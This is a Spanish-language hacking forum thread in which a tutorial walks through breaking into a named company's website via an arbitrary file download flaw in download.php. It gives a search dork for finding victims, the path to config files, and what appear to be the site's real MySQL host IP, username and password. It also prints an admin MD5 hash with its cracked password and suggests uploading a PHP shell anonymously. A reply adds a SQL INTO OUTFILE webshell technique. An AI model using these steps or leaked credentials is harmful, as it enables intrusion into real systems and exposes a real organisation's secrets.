Full Source Disclosure by HD_Breaker

Iniciado por Muppet, Junio 22, 2012, 02:33:24 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 22, 2012, 02:33:24 PM Ultima modificación: Julio 28, 2014, 12:58:54 PM por Expermicid
Full Source Disclosure

Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ

Include.php

<?php
$pagina = $_GET['pagina'];
include($pagina);
?>

En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php


El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible

Un Dork Comun para buscar una web vulnerable es:

inurl:download.php?file=* site:.com.ar

Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:

www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf



copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php

www.latinrisk.com.ar/download.php?file=download.php



y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido



Como Podremos Distingir esta la clasica falla LFI en su Source

$file = basename($_GET['file']);

Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.

Descargaremos el archivo index.php y analizaremos su contenido




Como podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php

<? include ('inc_loader.php'); ?>

Descargemoslo y analisemos el Source!




Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.

include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');

El q nos interesa es inc/connect.php

Nuevamente Descargamos y analizamos

)


Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.

include_once('config.php');

Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)




Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos

if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
   $config['mysqlhost'] = 'localhost';
   $config['mysqluser'] = 'root';
   $config['mysqlpass'] = '';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://server.lan/latinrisk/web/';
}
else
{
//   $config['mysqlhost'] = '190.228.29.68';
   $config['mysqlhost'] = '192.168.0.170';
   $config['mysqluser'] = 'user_latinrisk';
   $config['mysqlpass'] = 'Jwe9UoL6';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
}

Ahora nos fijamos si la web Posee phpmyadmin:



Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analisar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)

Llenamos los campos Correctamente y damos en Fire :)



Podemos ver las bases de datos que se encuentran en el sitio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)



nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web



Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk

Para los Peresosos:

admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)

Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:



Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell

Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.

HD_Breaker

Tengan Concideracion en las imagenes es un verdadero Parto Subir una por una todas las imagenes sino hubiera terminado el tuto antes Abrasos Underc0de!!!

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Está muy bien explicado pero esto no es full source disclosure de hecho el término full source disclosure no se de donde sale ya que en las guías owasp no califica así... Esto mas estaría en la descarga de Archivos remotos de manera Arbitraria, o lo que entraría en owasp como un Resource Injection, Igual muchas gracias por compartir el conocimiento.


Saludos,
Dedalo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias por dar esa informacion, realmente no se si su nombre correcto sea Full Source Disclosure en el momento (ya hace algunos años atras) q lo aprendi lo aprendi bajo ese nombre.

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Junio 23, 2012, 11:39:53 AM #3 Ultima modificación: Junio 23, 2012, 11:43:58 AM por andresg888
Yo molestando como siempre :P

Si yo fuera el atacante no entraría al admin para bypassear algún uploader. Sino que buscaría una ruta escribible (path disclosure) en el servidor y mediante una sentencia sql similar a la siguiente obtendría una webshell:

Código: php
SELECT "Codigo shell en base64" INTO OUTFILE 'Path Escribible';